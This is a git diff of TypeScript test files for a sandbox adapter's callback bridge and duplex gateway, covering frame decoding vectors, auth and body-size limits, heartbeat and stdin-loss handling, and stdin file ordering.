+      "bytes": "{\"version\":2,\"type\":\"request\",\"id\":\"req-1\",\"method\":\"GET\",\"path\":\"/api/issues/PAP-1\",\"query\":\"expand=comments\",\"headers\":{\"accept\":\"application/json\",\"content-type\":\"application/json\"},\"body\":\"\"}\n",
+      "expected": [
+        {
+          "error": "version_mismatch"
+        }
+      ]
+    },
+    {
+      "name": "version-mismatch-missing",
+      "category": "versionMismatch",
+      "bytes": "{\"type\":\"heartbeat\"}\n",
+      "expected": [
+        {
+          "error": "version_mismatch"
+        }
+      ]
+    }
+  ]
+}
diff --git a/packages/adapter-utils/src/execution-target-sandbox.test.ts b/packages/adapter-utils/src/execution-target-sandbox.test.ts
index 3a2af872db6..75756182a51 100644
--- a/packages/adapter-utils/src/execution-target-sandbox.test.ts
+++ b/packages/adapter-utils/src/execution-target-sandbox.test.ts
@@ -4,9 +4,15 @@ import { execFile, spawn } from "node:child_process";
 import { mkdir, mkdtemp, readdir, readFile, rm, writeFile } from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
+import { fileURLToPath } from "node:url";
 import { promisify } from "node:util";
 import { afterEach, describe, expect, it, vi } from "vitest";
 
+import {
+  getSandboxCallbackBridgeServerSource,
+  getSandboxDuplexGatewayCodecSource,
+} from "./sandbox-callback-bridge.js";
+
 import {
   DEFAULT_REMOTE_SANDBOX_ADAPTER_TIMEOUT_SEC,
   adapterExecutionTargetSessionIdentity,
@@ -15,6 +21,7 @@ import {
   ensureAdapterExecutionTargetCommandResolvable,
   formatAdapterExecutionTimeoutErrorMessage,
   formatAdapterExecutionTimeoutStartLogLine,
+  postedIssueCommentLogMarker,
   resolveAdapterExecutionTargetTimeout,
   resolveAdapterExecutionTargetTimeoutSec,
   runAdapterExecutionTargetProcess,
@@ -75,6 +82,13 @@ function createRecordingTraceContext(): {
 describe("sandbox adapter execution targets", () => {
   const cleanupDirs: string[] = [];
 
+  it("records successful issue comment ids for attribution recovery", () => {
+    expect(postedIssueCommentLogMarker("POST", "/api/issues/issue-1/comments", 201, '{"id":"comment-1"}'))
+      .toBe("comment id: comment-1\n");
+    expect(postedIssueCommentLogMarker("POST", "/api/issues/issue-1/comments", 401, '{"id":"comment-1"}'))
+      .toBeNull();
+  });
+
   afterEach(async () => {
     vi.unstubAllEnvs();
     while (cleanupDirs.length > 0) {
@@ -148,7 +162,22 @@ describe("sandbox adapter execution targets", () => {
     throw new Error(message);
   }
 
-  async function runProxyWithInput(command: string, input: string): Promise<{ stdout: string; stderr: string; code: number | null }> {
+  type ProxyRunResult = {
+    stdout: string;
+    stderr: string;
+    code: number | null;
+    /**
+     * How long the exchange took. The bridge and the proxy both run on 5s
+     * budgets, which is generous locally and tight on a CI runner sharing a
+     * box with 19 other lanes. A run that returns fast and empty is a
+     * different fault from one that nearly hit the ceiling, and the numbers
+     * are the only way to tell them apart after the fact.
+     */
+    elapsedMs: number;
+  };
+
+  async function runProxyWithInput(command: string, input: string): Promise<ProxyRunResult> {
+    const startedAt = performance.now();
     const child = spawn(command, [], { stdio: ["pipe", "pipe", "pipe"] });
     let stdout = "";
     let stderr = "";
@@ -175,7 +204,65 @@ describe("sandbox adapter execution targets", () => {
         resolve(exitCode);
       });
     });
-    return { stdout, stderr, code };
+    return { stdout, stderr, code, elapsedMs: Math.round(performance.now() - startedAt) };
+  }
+
+  /**
+   * A failure report for a proxy exchange, attached to the assertions below.
+   *
+   * `execution-target-sandbox` has failed twice in CI and never once in a few
+   * hundred local runs, so the next occurrence has to carry its own evidence -
+   * a second unreproducible failure teaches nothing. The observed signature was
+   * an empty stdout with exit code 0, meaning the child exited cleanly having
+   * produced nothing, which is what a lost stdin frame looks like from here.
+   *
+   * The runtime tree is the part that discriminates. The stdin queue files are
+   * written by the host and deleted by the wrapper once parsed, so what remains
+   * says whether the frame was never written, written and never consumed, or
+   * consumed normally and the reply lost on the way back.
+   */
+  async function describeProxyRun(result: ProxyRunResult, runtimeRootDir: string): Promise<string> {
+    const lines = [
+      `proxy exit=${result.code} elapsedMs=${result.elapsedMs}`,
+      `proxy stdout=${JSON.stringify(result.stdout)}`,
+      `proxy stderr=${JSON.stringify(result.stderr)}`,
+    ];
+    const walk = async (dir: string, depth: number): Promise<void> => {
+      // Deep enough to reach the queue frames, which are the point. They sit
+      // at process-sessions/<id>/stdin/<seq>.json — depth 4 from the runtime
+      // root — so a cap of 3 listed the `stdin/` directory and stopped, making
+      // "the queue is empty" and "the walk never looked" print identically.
+      if (depth > 5) return;
+      let entries;
+      try {
+        entries = await readdir(dir, { withFileTypes: true });
+      } catch (error) {
+        lines.push(`${"  ".repeat(depth)}<unreadable ${dir}: ${(error as Error).message}>`);
+        return;
+      }
+      for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name))) {
+        const full = path.join(dir, entry.name);
+        if (entry.isDirectory()) {
+          lines.push(`${"  ".repeat(depth)}${entry.name}/`);
+          await walk(full, depth + 1);
+          continue;
+        }
+        // Small files are the queue and event frames, and their contents are
+        // the point. Anything larger is a child script or a log; the size is
+        // enough to say it exists.
+        let detail = "";
+        try {
+          const raw = await readFile(full, "utf8");
+          detail = raw.length <= 400 ? ` ${JSON.stringify(raw)}` : ` <${raw.length}B>`;
+        } catch (error) {
+          detail = ` <unreadable: ${(error as Error).message}>`;
+        }
+        lines.push(`${"  ".repeat(depth)}${entry.name}${detail}`);
+      }
+    };
+    lines.push(`runtime tree under ${runtimeRootDir}:`);
+    await walk(runtimeRootDir, 1);
+    return lines.join("\n");
   }
 
   function combinedStream(
@@ -729,9 +816,10 @@ describe("sandbox adapter execution targets", () => {
 
     try {
       const result = await runProxyWithInput(bridge!.agentCommand, "hello\n");
-      expect(result.code).toBe(0);
-      expect(result.stdout).toBe("out:hello\n");
-      expect(result.stderr).toBe("err:hello\n");
+      const report = await describeProxyRun(result, path.posix.join(rootDir, ".paperclip-runtime", "acpx"));
+      expect(result.code, report).toBe(0);
+      expect(result.stdout, report).toBe("out:hello\n");
+      expect(result.stderr, report).toBe("err:hello\n");
     } finally {
       await bridge?.stop();
     }
@@ -1026,9 +1114,10 @@ describe("sandbox adapter execution targets", () => {
 
       try {
         const result = await runProxyWithInput(bridge!.agentCommand, "hello\n");
-        expect(result.code).toBe(0);
-        expect(result.stdout).toBe("out:hello\n");
-        expect(result.stderr).toBe("err:hello\n");
+        const report = await describeProxyRun(result, path.posix.join(rootDir, ".paperclip-runtime", "acpx"));
+        expect(result.code, report).toBe(0);
+        expect(result.stdout, report).toBe("out:hello\n");
+        expect(result.stderr, report).toBe("err:hello\n");
       } finally {
         await bridge?.stop();
       }
@@ -1087,8 +1176,9 @@ describe("sandbox adapter execution targets", () => {
         // frame flows, so it is observable as soon as the handle resolves.
         expect(spanNames).toContain("sandbox.agentProcess");
         const result = await runProxyWithInput(bridge!.agentCommand, "hello\n");
-        expect(result.code).toBe(0);
-        expect(result.stdout).toBe("out:hello\n");
+        const report = await describeProxyRun(result, path.posix.join(rootDir, ".paperclip-runtime", "acpx"));
+        expect(result.code, report).toBe(0);
+        expect(result.stdout, report).toBe("out:hello\n");
       } finally {
         await bridge?.stop();
       }
@@ -1480,7 +1570,10 @@ describe("sandbox adapter execution targets", () => {
         // Round-trip one input so a stdin-delivery control exec runs and gets
         // recorded before the assertions below.
         const result = await runProxyWithInput(bridge!.agentCommand, "hello\n");
-        expect(result.stdout).toBe("out:hello\n");
+        expect(
+          result.stdout,
+          await describeProxyRun(result, path.posix.join(rootDir, ".paperclip-runtime", "acpx")),
+        ).toBe("out:hello\n");
 
         // Exactly one exec runs on the persistent session: the long-lived agent
         // command. It streams its output through the session log stream, so it
@@ -2444,6 +2537,80 @@ describe("sandbox adapter execution targets", () => {
     }
   });
 
+  it("forwards the host indeterminate-outcome header so the sandbox server maps the 504 to a non-retryable 409", async () => {
+    // The host marks a possibly-committed mutation with a 504 and the
+    // `x-paperclip-bridge-outcome: indeterminate` header. The forward must keep
+    // that header, so the in-sandbox server maps the 504 to a non-retryable 409.
+    // If the forward drops the header, the client sees a retryable 504 and a
+    // retry repeats a mutation that already committed.
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-execution-target-bridge-outcome-"));
+    cleanupDirs.push(rootDir);
+    const remoteCwd = path.join(rootDir, "workspace");
+    const runtimeRootDir = path.join(remoteCwd, ".paperclip-runtime", "codex");
+    await mkdir(runtimeRootDir, { recursive: true });
+
+    const responseBody = JSON.stringify({ error: "Mutation outcome is indeterminate.", outcome: "indeterminate", retryable: false });
+    const apiServer = createServer((_req, res) => {
+      res.writeHead(504, {
+        "content-type": "application/json",
+        "x-paperclip-bridge-outcome": "indeterminate",
+      });
+      res.end(responseBody);
+    });
+    await new Promise<void>((resolve, reject) => {
+      apiServer.once("error", reject);
+      apiServer.listen(0, "127.0.0.1", () => resolve());
+    });
+    const address = apiServer.address();
+    if (!address || typeof address === "string") {
+      throw new Error("Expected the bridge outcome test API server to listen on a TCP port.");
+    }
+
+    const target: AdapterSandboxExecutionTarget = {
+      kind: "remote",
+      transport: "sandbox",
+      providerKey: "e2b",
+      environmentId: "env-1",
+      leaseId: "lease-1",
+      remoteCwd,
+      runner: createLocalSandboxRunner(),
+      timeoutMs: 30_000,
+    };
+
+    const bridge = await startAdapterExecutionTargetPaperclipBridge({
+      runId: "run-bridge-outcome",
+      target,
+      runtimeRootDir,
+      adapterKey: "codex",
+      hostApiToken: "real-run-jwt",
+      hostApiUrl: `http://127.0.0.1:${address.port}`,
+    });
+    try {
+      const response = await fetch(`${bridge!.env.PAPERCLIP_API_URL}/api/issues/issue-1/comments`, {
+        method: "POST",
+        headers: {
+          authorization: `Bearer ${bridge!.env.PAPERCLIP_API_KEY}`,
+          "content-type": "application/json",
+        },
+        body: JSON.stringify({ body: "Status update." }),
+      });
+
+      // The sandbox server maps the indeterminate 504 to a non-retryable 409.
+      expect(response.status).toBe(409);
+      // The outcome header and body still reach the client, so a caller that
+      // reads them still sees the indeterminate result.
+      expect(response.headers.get("x-paperclip-bridge-outcome")).toBe("indeterminate");
+      await expect(response.json()).resolves.toEqual({
+        error: "Mutation outcome is indeterminate.",
+        outcome: "indeterminate",
+        retryable: false,
+      });
+    } finally {
+      await bridge?.stop();
+      await new Promise<void>((resolve) => apiServer.close(() => resolve()));
+    }
+  });
+
   it("forwards bridge traffic to the local listen origin even when public API URLs are configured", async () => {
     const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-execution-target-bridge-local-"));
     cleanupDirs.push(rootDir);
@@ -2587,3 +2754,524 @@ describe("sandbox adapter execution targets", () => {
     }
   });
 });
+
+// One decoded stdout frame from the generated duplex gateway. The gateway writes
+// newline-delimited JSON frames to stdout, so the test parses each line.
+interface DecodedGatewayFrame {
+  version?: number;
+  type?: string;
+  id?: string;
+  method?: string;
+  path?: string;
+  query?: string;
+  headers?: Record<string, string>;
+  body?: string;
+  address?: string;
+  __unparsed?: string;
+}
+
+// One decode result from the embedded codec. The shape mirrors the host codec:
+// a valid frame or a protocol error with a code.
+interface EmbeddedDecodeResult {
+  ok: boolean;
+  frame?: unknown;
+  error?: { code: string; message: string };
+}
+
+// The names the embedded codec source declares. A test wraps the source and
+// reads these names back.
+interface EmbeddedCodec {
+  encodeDuplexFrame: (frame: unknown) => string;
+  decodeDuplexLine: (line: string | Buffer) => EmbeddedDecodeResult;
+  DuplexFrameDecoder: new (options?: { maxFrameBytes?: number }) => {
+    push: (chunk: Buffer) => EmbeddedDecodeResult[];
+  };
+  DUPLEX_FRAME_VERSION: number;
+  DEFAULT_MAX_DUPLEX_FRAME_BYTES: number;
+}
+
+type ExpectedVectorResult = { frame: unknown } | { error: string };
+
+interface DuplexFrameVector {
+  name: string;
+  category: string;
+  bytes: string;
+  splitByteOffsets?: number[];
+  maxFrameBytes?: number;
+  roundTrip?: boolean;
+  expected: ExpectedVectorResult[];
+}
+
+interface DuplexFrameFixture {
+  frameVersion: number;
+  defaultMaxFrameBytes: number;
+  vectors: DuplexFrameVector[];
+}
+
+describe("sandbox duplex gateway", () => {
+  const duplexCleanupDirs: string[] = [];
+  const duplexChildren: Array<ReturnType<typeof spawn>> = [];
+
+  afterEach(async () => {
+    while (duplexChildren.length > 0) {
+      const child = duplexChildren.pop();
+      if (!child) continue;
+      child.kill("SIGKILL");
+    }
+    while (duplexCleanupDirs.length > 0) {
+      const dir = duplexCleanupDirs.pop();
+      if (!dir) continue;
+      await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  interface DuplexGatewayHandle {
+    baseUrl: string;
+    frames: DecodedGatewayFrame[];
+    stderr: () => string;
+    waitForFrame: (
+      predicate: (frame: DecodedGatewayFrame) => boolean,
+      timeoutMs?: number,
+    ) => Promise<DecodedGatewayFrame>;
+    sendFrame: (frame: Record<string, unknown>) => void;
+    sendRaw: (text: string) => void;
+    endStdin: () => void;
+    exited: Promise<number | null>;
+    stop: () => Promise<void>;
+  }
+
+  // Start the generated gateway `.mjs` in duplex mode as a real child process.
+  // The test writes response frames to the child stdin and reads request frames
+  // from the child stdout, so it stands in for the host side of the channel.
+  async function startDuplexGateway(env: Record<string, string>): Promise<DuplexGatewayHandle> {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-duplex-gateway-"));
+    duplexCleanupDirs.push(rootDir);
+    const entrypoint = path.join(rootDir, "gateway.mjs");
+    await writeFile(entrypoint, getSandboxCallbackBridgeServerSource(), "utf8");
+
+    const child = spawn(process.execPath, [entrypoint], {
+      stdio: ["pipe", "pipe", "pipe"],
+      env: {
+        ...process.env,
+        PAPERCLIP_API_BRIDGE_MODE: "duplex_v1",
+        PAPERCLIP_BRIDGE_HOST: "127.0.0.1",
+        PAPERCLIP_BRIDGE_PORT: "0",
+        ...env,
+      },
+    });
+    duplexChildren.push(child);
+
+    const frames: DecodedGatewayFrame[] = [];
+    const waiters: Array<{
+      predicate: (frame: DecodedGatewayFrame) => boolean;
+      resolve: (frame: DecodedGatewayFrame) => void;
+    }> = [];
+    let stdoutBuffer = "";
+    let stderrText = "";
+
+    child.stdout?.setEncoding("utf8");
+    child.stdout?.on("data", (chunk: string) => {
+      stdoutBuffer += chunk;
+      let newlineIndex = stdoutBuffer.indexOf("\n");
+      while (newlineIndex !== -1) {
+        const line = stdoutBuffer.slice(0, newlineIndex);
+        stdoutBuffer = stdoutBuffer.slice(newlineIndex + 1);
+        if (line.length > 0) {
+          let frame: DecodedGatewayFrame;
+          try {
+            frame = JSON.parse(line) as DecodedGatewayFrame;
+          } catch {
+            frame = { __unparsed: line };
+          }
+          frames.push(frame);
+          for (const waiter of [...waiters]) {
+            if (waiter.predicate(frame)) {
+              waiters.splice(waiters.indexOf(waiter), 1);
+              waiter.resolve(frame);
+            }
+          }
+        }
+        newlineIndex = stdoutBuffer.indexOf("\n");
+      }
+    });
+    child.stderr?.setEncoding("utf8");
+    child.stderr?.on("data", (chunk: string) => {
+      stderrText += chunk;
+    });
+
+    const exited = new Promise<number | null>((resolve) => {
+      child.on("exit", (code) => resolve(code));
+    });
+
+    const waitForFrame = (
+      predicate: (frame: DecodedGatewayFrame) => boolean,
+      timeoutMs = 5000,
+    ): Promise<DecodedGatewayFrame> => {
+      const existing = frames.find(predicate);
+      if (existing) return Promise.resolve(existing);
+      return new Promise<DecodedGatewayFrame>((resolve, reject) => {
+        const waiter = {
+          predicate,
+          resolve: (frame: DecodedGatewayFrame) => {
+            clearTimeout(timer);
+            resolve(frame);
+          },
+        };
+        const timer = setTimeout(() => {
+          const index = waiters.indexOf(waiter);
+          if (index !== -1) waiters.splice(index, 1);
+          reject(new Error(`Timed out waiting for a gateway frame. stderr: ${stderrText}`));
+        }, timeoutMs);
+        waiters.push(waiter);
+      });
+    };
+
+    const handle: DuplexGatewayHandle = {
+      baseUrl: "",
+      frames,
+      stderr: () => stderrText,
+      waitForFrame,
+      sendFrame: (frame) => {
+        child.stdin?.write(`${JSON.stringify(frame)}\n`);
+      },
+      sendRaw: (text) => {
+        child.stdin?.write(text);
+      },
+      endStdin: () => {
+        child.stdin?.end();
+      },
+      exited,
+      stop: async () => {
+        child.kill("SIGKILL");
+        await exited.catch(() => null);
+      },
+    };
+
+    const ready = await waitForFrame((frame) => frame.type === "ready");
+    handle.baseUrl = String(ready.address);
+    return handle;
+  }
+
+  it("embedded gateway codec passes every vector in the shared fixture", async () => {
+    const codecFactory = new Function(
+      `${getSandboxDuplexGatewayCodecSource()}\nreturn { encodeDuplexFrame, decodeDuplexLine, DuplexFrameDecoder, DUPLEX_FRAME_VERSION, DEFAULT_MAX_DUPLEX_FRAME_BYTES };`,
+    ) as unknown as () => EmbeddedCodec;
+    const codec = codecFactory();
+
+    const fixturePath = fileURLToPath(new URL("./duplex-frame-vectors.json", import.meta.url));
+    const fixture = JSON.parse(await readFile(fixturePath, "utf8")) as DuplexFrameFixture;
+
+    expect(fixture.frameVersion).toBe(codec.DUPLEX_FRAME_VERSION);
+    expect(fixture.defaultMaxFrameBytes).toBe(codec.DEFAULT_MAX_DUPLEX_FRAME_BYTES);
+    expect(fixture.vectors.length).toBeGreaterThanOrEqual(22);
+
+    const failures: string[] = [];
+    for (const vector of fixture.vectors) {
+      const decoder = new codec.DuplexFrameDecoder(
+        vector.maxFrameBytes ? { maxFrameBytes: vector.maxFrameBytes } : undefined,
+      );
+      const buffer = Buffer.from(vector.bytes, "utf8");
+      const offsets = vector.splitByteOffsets;
+      const bounds =
+        offsets && offsets.length > 0 ? [0, ...offsets, buffer.length] : [0, buffer.length];
+      const results: EmbeddedDecodeResult[] = [];
+      for (let index = 0; index < bounds.length - 1; index += 1) {
+        results.push(...decoder.push(buffer.subarray(bounds[index], bounds[index + 1])));
+      }
+
+      if (results.length !== vector.expected.length) {
+        failures.push(`${vector.name}: got ${results.length} results, want ${vector.expected.length}`);
+        continue;
+      }
+      vector.expected.forEach((want, index) => {
+        const got = results[index];
+        if ("frame" in want) {
+          if (!got.ok) {
+            failures.push(`${vector.name}[${index}]: expected a frame, got an error`);
+            return;
+          }
+          try {
+            expect(got.frame).toEqual(want.frame);
+          } catch {
+            failures.push(`${vector.name}[${index}]: frame does not match`);
+          }
+        } else {
+          if (got.ok) {
+            failures.push(`${vector.name}[${index}]: expected an error, got a frame`);
+            return;
+          }
+          if (got.error?.code !== want.error) {
+            failures.push(`${vector.name}[${index}]: error ${got.error?.code} != ${want.error}`);
+          }
+        }
+      });
+    }
+    expect(failures).toEqual([]);
+
+    // The encode side stays wire compatible too: one line, one newline, and the
+    // same frame after a decode round trip.
+    for (const vector of fixture.vectors.filter((entry) => entry.roundTrip)) {
+      const want = vector.expected[0];
+      if (!("frame" in want)) continue;
+      const encoded = codec.encodeDuplexFrame(want.frame);
+      expect(encoded.endsWith("\n")).toBe(true);
+      expect(encoded.slice(0, -1)).not.toContain("\n");
+      const decoded = codec.decodeDuplexLine(encoded.slice(0, -1));
+      expect(decoded.ok).toBe(true);
+      expect(decoded.frame).toEqual(want.frame);
+    }
+  });
+
+  it("returns the same HTTP response as the file gateway for a forwarded request", async () => {
+    const token = "duplex-token-forward";
+    const gateway = await startDuplexGateway({ PAPERCLIP_BRIDGE_TOKEN: token });
+
+    const responsePromise = fetch(`${gateway.baseUrl}/api/agents/me?view=compact`, {
+      headers: {
+        authorization: `Bearer ${token}`,
+        accept: "application/json",
+        "if-none-match": '"cache-key"',
+        "x-bridge-debug": "drop-me",
+      },
+    });
+    const requestFrame = await gateway.waitForFrame((frame) => frame.type === "request");
+    expect(requestFrame.method).toBe("GET");
+    expect(requestFrame.path).toBe("/api/agents/me");
+    expect(requestFrame.query).toBe("?view=compact");
+    // Only allowlisted headers forward; the bearer and the debug header drop.
+    expect(requestFrame.headers).toEqual({
+      accept: "application/json",
+      "if-none-match": '"cache-key"',
+    });
+
+    gateway.sendFrame({
+      version: 1,
+      type: "response",
+      id: requestFrame.id,
+      status: 200,
+      headers: { "content-type": "application/json", etag: '"rev-1"', "content-length": "999" },
+      body: JSON.stringify({ ok: true }),
+      outcome: "completed",
+    });
+    const response = await responsePromise;
+    expect(response.status).toBe(200);
+    expect(response.headers.get("content-type")).toContain("application/json");
+    expect(response.headers.get("etag")).toBe('"rev-1"');
+    await expect(response.json()).resolves.toEqual({ ok: true });
+
+    // An indeterminate outcome maps to a non-retryable 409, the same contract the
+    // file gateway applies through the outcome header.
+    const indeterminatePromise = fetch(`${gateway.baseUrl}/api/issues/issue-1`, {
+      method: "PATCH",
+      headers: { authorization: `Bearer ${token}`, "content-type": "application/json" },
+      body: JSON.stringify({ status: "in_progress" }),
+    });
+    const patchFrame = await gateway.waitForFrame(
+      (frame) => frame.type === "request" && frame.id !== requestFrame.id,
+    );
+    gateway.sendFrame({
+      version: 1,
+      type: "response",
+      id: patchFrame.id,
+      status: 200,
+      headers: { "content-type": "application/json" },
+      body: JSON.stringify({ error: "outcome_indeterminate" }),
+      outcome: "indeterminate",
+    });
+    const indeterminate = await indeterminatePromise;
+    expect(indeterminate.status).toBe(409);
+
+    await gateway.stop();
+  }, 20000);
+
+  it("enforces the bearer check, JSON-only rule, body limit, and depth limit", async () => {
+    const token = "duplex-token-contract";
+    const gateway = await startDuplexGateway({
+      PAPERCLIP_BRIDGE_TOKEN: token,
+      PAPERCLIP_BRIDGE_MAX_QUEUE_DEPTH: "1",
+      PAPERCLIP_BRIDGE_MAX_BODY_BYTES: "16",
+    });
+
+    const badAuth = await fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: "Bearer wrong-token" },
+    });
+    expect(badAuth.status).toBe(401);
+    await expect(badAuth.json()).resolves.toEqual({ error: "Invalid bridge token." });
+
+    const nonJson = await fetch(`${gateway.baseUrl}/api/issues/issue-1/comments`, {
+      method: "POST",
+      headers: { authorization: `Bearer ${token}`, "content-type": "text/plain" },
+      body: "not json",
+    });
+    expect(nonJson.status).toBe(415);
+    await expect(nonJson.json()).resolves.toEqual({
+      error: "Bridge only accepts JSON request bodies.",
+    });
+
+    const oversizeBody = await fetch(`${gateway.baseUrl}/api/issues/issue-1/comments`, {
+      method: "POST",
+      headers: { authorization: `Bearer ${token}`, "content-type": "application/json" },
+      body: JSON.stringify({ body: "x".repeat(64) }),
+    });
+    expect(oversizeBody.status).toBe(502);
+    await expect(oversizeBody.json()).resolves.toEqual({
+      error: "Bridge request body exceeded the configured size limit.",
+    });
+
+    // No request frame forwarded so far: the guards rejected before forwarding.
+    const framesBeforeDepth = gateway.frames.filter((frame) => frame.type === "request").length;
+    expect(framesBeforeDepth).toBe(0);
+
+    // One outstanding request fills the single depth slot; the host never
+    // responds, so the slot stays used.
+    const outstanding = fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    void outstanding.catch(() => undefined);
+    await gateway.waitForFrame((frame) => frame.type === "request");
+
+    const queueFull = await fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    expect(queueFull.status).toBe(503);
+    await expect(queueFull.json()).resolves.toEqual({ error: "Bridge request queue is full." });
+
+    // Only the outstanding request forwarded a frame; the queue-full request did
+    // not.
+    const framesAfterDepth = gateway.frames.filter((frame) => frame.type === "request").length;
+    expect(framesAfterDepth).toBe(1);
+
+    await gateway.stop();
+  }, 20000);
+
+  it("answers outstanding requests 409 and new requests 503 on stdin EOF, then exits", async () => {
+    const token = "duplex-token-eof";
+    const gateway = await startDuplexGateway({
+      PAPERCLIP_BRIDGE_TOKEN: token,
+      PAPERCLIP_BRIDGE_LOSS_EXIT_GRACE_MS: "3000",
+    });
+
+    const outstanding = fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    await gateway.waitForFrame((frame) => frame.type === "request");
+    gateway.endStdin();
+
+    const lossResponse = await outstanding;
+    expect(lossResponse.status).toBe(409);
+    expect(lossResponse.headers.get("x-paperclip-bridge-outcome")).toBe("indeterminate");
+    await expect(lossResponse.json()).resolves.toEqual({ error: "outcome_indeterminate" });
+
+    const afterLoss = await fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    expect(afterLoss.status).toBe(503);
+    await expect(afterLoss.json()).resolves.toEqual({ error: "bridge_unavailable" });
+
+    const exitCode = await gateway.exited;
+    expect(exitCode).toBe(0);
+  }, 20000);
+
+  it("applies the same loss behavior on a heartbeat timeout", async () => {
+    const token = "duplex-token-heartbeat";
+    const gateway = await startDuplexGateway({
+      PAPERCLIP_BRIDGE_TOKEN: token,
+      PAPERCLIP_BRIDGE_HEARTBEAT_TIMEOUT_MS: "400",
+      PAPERCLIP_BRIDGE_LOSS_EXIT_GRACE_MS: "3000",
+      PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS: "30000",
+    });
+
+    // Never send an inbound frame: inbound silence trips the heartbeat timeout.
+    const outstanding = fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    await gateway.waitForFrame((frame) => frame.type === "request");
+
+    const lossResponse = await outstanding;
+    expect(lossResponse.status).toBe(409);
+    await expect(lossResponse.json()).resolves.toEqual({ error: "outcome_indeterminate" });
+
+    const afterLoss = await fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    expect(afterLoss.status).toBe(503);
+    await expect(afterLoss.json()).resolves.toEqual({ error: "bridge_unavailable" });
+
+    const exitCode = await gateway.exited;
+    expect(exitCode).toBe(0);
+  }, 20000);
+
+  it("keeps diagnostics off stdout; stdout carries only frames", async () => {
+    const token = "duplex-token-stdout";
+    const gateway = await startDuplexGateway({ PAPERCLIP_BRIDGE_TOKEN: token });
+
+    const responsePromise = fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    const requestFrame = await gateway.waitForFrame((frame) => frame.type === "request");
+
+    // Feed a malformed inbound line and an unknown response id. Both force a
+    // diagnostic path; none of it may reach stdout.
+    gateway.sendRaw("this is not a frame\n");
+    gateway.sendFrame({
+      version: 1,
+      type: "response",
+      id: "unknown-id",
+      status: 200,
+      headers: {},
+      body: "",
+      outcome: "completed",
+    });
+    gateway.sendFrame({
+      version: 1,
+      type: "response",
+      id: requestFrame.id,
+      status: 200,
+      headers: { "content-type": "application/json" },
+      body: "{}",
+      outcome: "completed",
+    });
+
+    const response = await responsePromise;
+    expect(response.status).toBe(200);
+
+    // Every stdout line parsed as a frame; none was diagnostic text.
+    expect(gateway.frames.some((frame) => frame.__unparsed !== undefined)).toBe(false);
+    expect(
+      gateway.frames.every(
+        (frame) => typeof frame.version === "number" && typeof frame.type === "string",
+      ),
+    ).toBe(true);
+    const allowedTypes = new Set(["ready", "heartbeat", "request"]);
+    expect(gateway.frames.every((frame) => allowedTypes.has(String(frame.type)))).toBe(true);
+
+    // The malformed inbound line produced a stderr diagnostic, not a stdout one.
+    expect(gateway.stderr()).toContain("dropped an inbound frame");
+
+    await gateway.stop();
+  }, 20000);
+
+  it("defaults the wait budget to 35 s and honors the environment key override", async () => {
+    // The generated source carries the 35 s default.
+    expect(getSandboxCallbackBridgeServerSource()).toContain("35000");
+
+    const token = "duplex-token-budget";
+    const gateway = await startDuplexGateway({
+      PAPERCLIP_BRIDGE_TOKEN: token,
+      PAPERCLIP_BRIDGE_RESPONSE_TIMEOUT_MS: "150",
+      PAPERCLIP_BRIDGE_HEARTBEAT_TIMEOUT_MS: "30000",
+    });
+
+    const started = Date.now();
+    const response = await fetch(`${gateway.baseUrl}/api/agents/me`, {
+      headers: { authorization: `Bearer ${token}` },
+    });
+    expect(response.status).toBe(502);
+    await expect(response.json()).resolves.toEqual({
+      error: "Timed out waiting for host bridge response.",
+    });
+    expect(Date.now() - started).toBeLessThan(4000);
+
+    await gateway.stop();
+  }, 20000);
+});
diff --git a/packages/adapter-utils/src/execution-target-stdin-race.test.ts b/packages/adapter-utils/src/execution-target-stdin-race.test.ts
index 6fcb6085b95..26fb6a0ff93 100644
--- a/packages/adapter-utils/src/execution-target-stdin-race.test.ts
+++ b/packages/adapter-utils/src/execution-target-stdin-race.test.ts
@@ -1,13 +1,18 @@
 import { execFile as execFileCallback, spawn } from "node:child_process";
 import { mkdir, mkdtemp, readFile, readdir, rename, rm, writeFile } from "node:fs/promises";
+import net from "node:net";
 import os from "node:os";
 import path from "node:path";
 import { promisify } from "node:util";
 import { afterEach, describe, expect, it } from "vitest";
 
-import { getProcessSessionRemoteSource } from "./execution-target.js";
+import {
+  getProcessSessionRemoteSource,
+  startAdapterExecutionTargetProcessSessionBridge,
+  type AdapterSandboxExecutionTarget,
+} from "./execution-target.js";
 import { createCommandManagedSandboxCallbackBridgeQueueClient } from "./sandbox-callback-bridge.js";
-import type { RunProcessResult } from "./server-utils.js";
+import { runChildProcess, type RunProcessResult } from "./server-utils.js";
 
 const execFile = promisify(execFileCallback);
 
@@ -222,6 +227,270 @@ describe("stdin file race (parent PAP-4037)", () => {
     expect(poller.frames.some((frame) => frame.type === "exit")).toBe(true);
   });
 
+  it("holds a later stdin file until the missing earlier file appears", async () => {
+    const poller = await startPollerWrapper();
+
+    // File 2 is complete, but file 1 has not appeared yet (a host reordering).
+    // The poller must not deliver file 2 ahead of the missing file 1. It holds
+    // the send order and waits for the earlier file.
+    await poller.writeFileAtomic("000000000002.json", stdinMessage("second-payload"));
+    await delay(300);
+    // File 2 is still on disk and nothing was delivered: the poller holds it.
+    const afterHold = await readdir(poller.stdinDir);
+    expect(afterHold).toContain("000000000002.json");
+    expect(collectDelivered(poller.frames)).toBe("");
+
+    // File 1 arrives. The poller now delivers file 1 then file 2, in send order.
+    await poller.writeFileAtomic("000000000001.json", stdinMessage("first-payload"));
